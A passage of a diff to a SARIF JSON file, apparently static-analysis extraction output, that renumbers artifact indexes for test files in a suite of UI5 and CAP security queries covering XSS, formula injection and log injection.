"javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 304 + "index" : 306 } } } ], @@ -10982,7 +11061,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 305 + "index" : 307 } } } ], @@ -11008,7 +11087,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 306 + "index" : 308 } } } ], @@ -11034,7 +11113,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 307 + "index" : 309 } } } ], @@ -11060,7 +11139,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 308 + "index" : 310 } } } ], @@ -11086,7 +11165,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 309 + "index" : 311 } } } ], @@ -11112,7 +11191,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 310 + "index" : 312 } } } ], @@ -11138,7 +11217,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 } } } ], @@ -11164,7 +11243,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 312 + "index" : 314 } } } ], @@ -11190,7 +11269,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 313 + "index" : 315 } } } ], @@ -11216,7 +11295,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 314 + "index" : 316 } } } ], @@ -11242,7 +11321,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 315 + "index" : 317 } } } ], @@ -11268,7 +11347,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 316 + "index" : 318 } } } ], @@ -11294,7 +11373,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 317 + "index" : 319 } } } ], @@ -11320,7 +11399,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 318 + "index" : 320 } } } ], @@ -11346,7 +11425,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 319 + "index" : 321 } } } ], @@ -11372,7 +11451,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 320 + "index" : 322 } } } ], @@ -11398,7 +11477,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 321 + "index" : 323 } } } ], @@ -11424,7 +11503,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 322 + "index" : 324 } } } ], @@ -11450,7 +11529,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 323 + "index" : 325 } } } ], @@ -11476,7 +11555,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 324 + "index" : 326 } } } ], @@ -11502,7 +11581,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 325 + "index" : 327 } } } ], @@ -11528,7 +11607,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 326 + "index" : 328 } } } ], @@ -11554,7 +11633,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 327 + "index" : 329 } } } ], @@ -11580,7 +11659,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 328 + "index" : 330 } } } ], @@ -11606,7 +11685,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 329 + "index" : 331 } } } ], @@ -11632,7 +11711,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 330 + "index" : 332 } } } ], @@ -11658,7 +11737,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 331 + "index" : 333 } } } ], @@ -11684,7 +11763,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 332 + "index" : 334 } } } ], @@ -11710,7 +11789,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 333 + "index" : 335 } } } ], @@ -11736,7 +11815,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 334 + "index" : 336 } } } ], @@ -11762,7 +11841,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 335 + "index" : 337 } } } ], @@ -11788,7 +11867,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 336 + "index" : 338 } } } ], @@ -11814,7 +11893,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 337 + "index" : 339 } } } ], @@ -11840,7 +11919,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 338 + "index" : 340 } } } ], @@ -11866,7 +11945,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 339 + "index" : 341 } } } ], @@ -11892,7 +11971,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 340 + "index" : 342 } } } ], @@ -11918,7 +11997,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 341 + "index" : 343 } } } ], @@ -11944,7 +12023,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 342 + "index" : 344 } } } ], @@ -11970,7 +12049,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 343 + "index" : 345 } } } ], @@ -11996,7 +12075,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json", "uriBaseId" : "%SRCROOT%", - "index" : 344 + "index" : 346 } } } ], @@ -12022,7 +12101,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 345 + "index" : 347 } } } ], @@ -12048,7 +12127,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 346 + "index" : 348 } } } ], @@ -12074,7 +12153,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 347 + "index" : 349 } } } ], @@ -12100,7 +12179,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 348 + "index" : 350 } } } ], @@ -12126,7 +12205,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 349 + "index" : 351 } } } ], @@ -12152,7 +12231,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 350 + "index" : 352 } } } ], @@ -12178,7 +12257,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 351 + "index" : 353 } } } ], @@ -12204,7 +12283,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 352 + "index" : 354 } } } ], @@ -12230,7 +12309,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 353 + "index" : 355 } } } ], @@ -12256,7 +12335,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 354 + "index" : 356 } } } ], @@ -12282,7 +12361,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 355 + "index" : 357 } } } ], @@ -12308,7 +12387,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html", "uriBaseId" : "%SRCROOT%", - "index" : 356 + "index" : 358 } } } ], @@ -12334,7 +12413,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 357 + "index" : 359 } } } ], @@ -12360,7 +12439,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 358 + "index" : 360 } } } ], @@ -12386,7 +12465,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 359 + "index" : 361 } } } ], @@ -12412,7 +12491,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 360 + "index" : 362 } } } ], @@ -12438,7 +12517,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js", "uriBaseId" : "%SRCROOT%", - "index" : 361 + "index" : 363 } } } ], @@ -12464,7 +12543,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 362 + "index" : 364 } } } ], @@ -12490,7 +12569,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 363 + "index" : 365 } } } ], @@ -12516,7 +12595,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 364 + "index" : 366 } } } ], @@ -12542,7 +12621,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 365 + "index" : 367 } } } ], @@ -12568,7 +12647,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 366 + "index" : 368 } } } ], @@ -12594,7 +12673,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 367 + "index" : 369 } } } ], @@ -12620,7 +12699,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 368 + "index" : 370 } } } ], @@ -12646,7 +12725,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 369 + "index" : 371 } } } ], @@ -12672,7 +12751,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 370 + "index" : 372 } } } ], @@ -12698,7 +12777,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 371 + "index" : 373 } } } ], @@ -12724,7 +12803,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 372 + "index" : 374 } } } ], @@ -12750,7 +12829,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 373 + "index" : 375 } } } ], @@ -12776,7 +12855,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 374 + "index" : 376 } } } ], @@ -12802,7 +12881,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js", "uriBaseId" : "%SRCROOT%", - "index" : 375 + "index" : 377 } } } ], @@ -12828,7 +12907,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 376 + "index" : 378 } } } ], @@ -12854,7 +12933,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 377 + "index" : 379 } } } ], @@ -12880,7 +12959,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 378 + "index" : 380 } } } ], @@ -12906,7 +12985,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 379 + "index" : 381 } } } ], @@ -12932,7 +13011,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 380 + "index" : 382 } } } ], @@ -12958,7 +13037,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 381 + "index" : 383 } } } ], @@ -12984,7 +13063,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 382 + "index" : 384 } } } ], @@ -13010,7 +13089,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json", "uriBaseId" : "%SRCROOT%", - "index" : 383 + "index" : 385 } } } ], @@ -13036,7 +13115,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 384 + "index" : 386 } } } ], @@ -13062,7 +13141,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 385 + "index" : 387 } } } ], @@ -13088,7 +13167,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 386 + "index" : 388 } } } ], @@ -13114,7 +13193,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 387 + "index" : 389 } } } ], @@ -13140,7 +13219,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 388 + "index" : 390 } } } ], @@ -13166,7 +13245,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 389 + "index" : 391 } } } ], @@ -13192,7 +13271,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 390 + "index" : 392 } } } ], @@ -13218,7 +13297,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 391 + "index" : 393 } } } ], @@ -13244,7 +13323,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 392 + "index" : 394 } } } ], @@ -13270,7 +13349,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 393 + "index" : 395 } } } ], @@ -13296,7 +13375,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 394 + "index" : 396 } } } ], @@ -13322,7 +13401,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 395 + "index" : 397 } } } ], @@ -13348,7 +13427,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 396 + "index" : 398 } } } ], @@ -13374,7 +13453,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 397 + "index" : 399 } } } ], @@ -13400,7 +13479,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 398 + "index" : 400 } } } ], @@ -13426,7 +13505,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 399 + "index" : 401 } } } ], @@ -13452,7 +13531,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 400 + "index" : 402 } } } ], @@ -13476,9 +13555,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 401 + "index" : 403 } } } ], @@ -13502,9 +13581,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 402 + "index" : 404 } } } ], @@ -13528,9 +13607,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 403 + "index" : 405 } } } ], @@ -13554,9 +13633,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 404 + "index" : 406 } } } ], @@ -13580,9 +13659,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 405 + "index" : 407 } } } ], @@ -13606,9 +13685,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 406 + "index" : 408 } } } ], @@ -13632,9 +13711,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 407 + "index" : 409 } } } ], @@ -13658,9 +13737,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 408 + "index" : 410 } } } ], @@ -13684,9 +13763,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 409 + "index" : 411 } } } ], @@ -13710,9 +13789,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 410 + "index" : 412 } } } ], @@ -13736,9 +13815,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", + "uri" : "javascript/heuristic-models/tests/Sources/test.js", "uriBaseId" : "%SRCROOT%", - "index" : 411 + "index" : 4 } } } ], @@ -13762,9 +13841,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/heuristic-models/tests/Sources/test.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 4 + "index" : 413 } } } ], @@ -13790,7 +13869,7 @@ "artifactLocation" : { "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", - "index" : 412 + "index" : 414 } } } ], @@ -13816,7 +13895,7 @@ "artifactLocation" : { "uri" : "javascript/heuristic-models/tests/qlpack.yml", "uriBaseId" : "%SRCROOT%", - "index" : 413 + "index" : 415 } } } ], @@ -13842,7 +13921,7 @@ "artifactLocation" : { "uri" : "qlt.conf.json", "uriBaseId" : "%SRCROOT%", - "index" : 414 + "index" : 416 } } } ], @@ -13868,7 +13947,7 @@ "artifactLocation" : { "uri" : "scripts/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", - "index" : 415 + "index" : 417 } } } ], @@ -13894,7 +13973,7 @@ "artifactLocation" : { "uri" : "scripts/qlpack.yml", "uriBaseId" : "%SRCROOT%", - "index" : 416 + "index" : 418 } } } ], @@ -13920,7 +13999,30 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js", "uriBaseId" : "%SRCROOT%", - "index" : 241 + "index" : 243 + } + } + } ], + "message" : { + "text" : "" + }, + "level" : "none", + "descriptor" : { + "id" : "cli/expected-extracted-files/javascript", + "index" : 0 + }, + "properties" : { + "formattedMessage" : { + "text" : "" + } + } + }, { + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js", + "uriBaseId" : "%SRCROOT%", + "index" : 118 } } } ], @@ -13943,7 +14045,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 28 + "index" : 30 } } } ], @@ -13966,7 +14068,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 156 } } } ], @@ -13989,7 +14091,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 162 + "index" : 165 } } } ], @@ -14012,7 +14114,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js", "uriBaseId" : "%SRCROOT%", - "index" : 249 + "index" : 251 } } } ], @@ -14058,7 +14160,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 } } } ], @@ -14081,7 +14183,7 @@ "artifactLocation" : { "uri" : 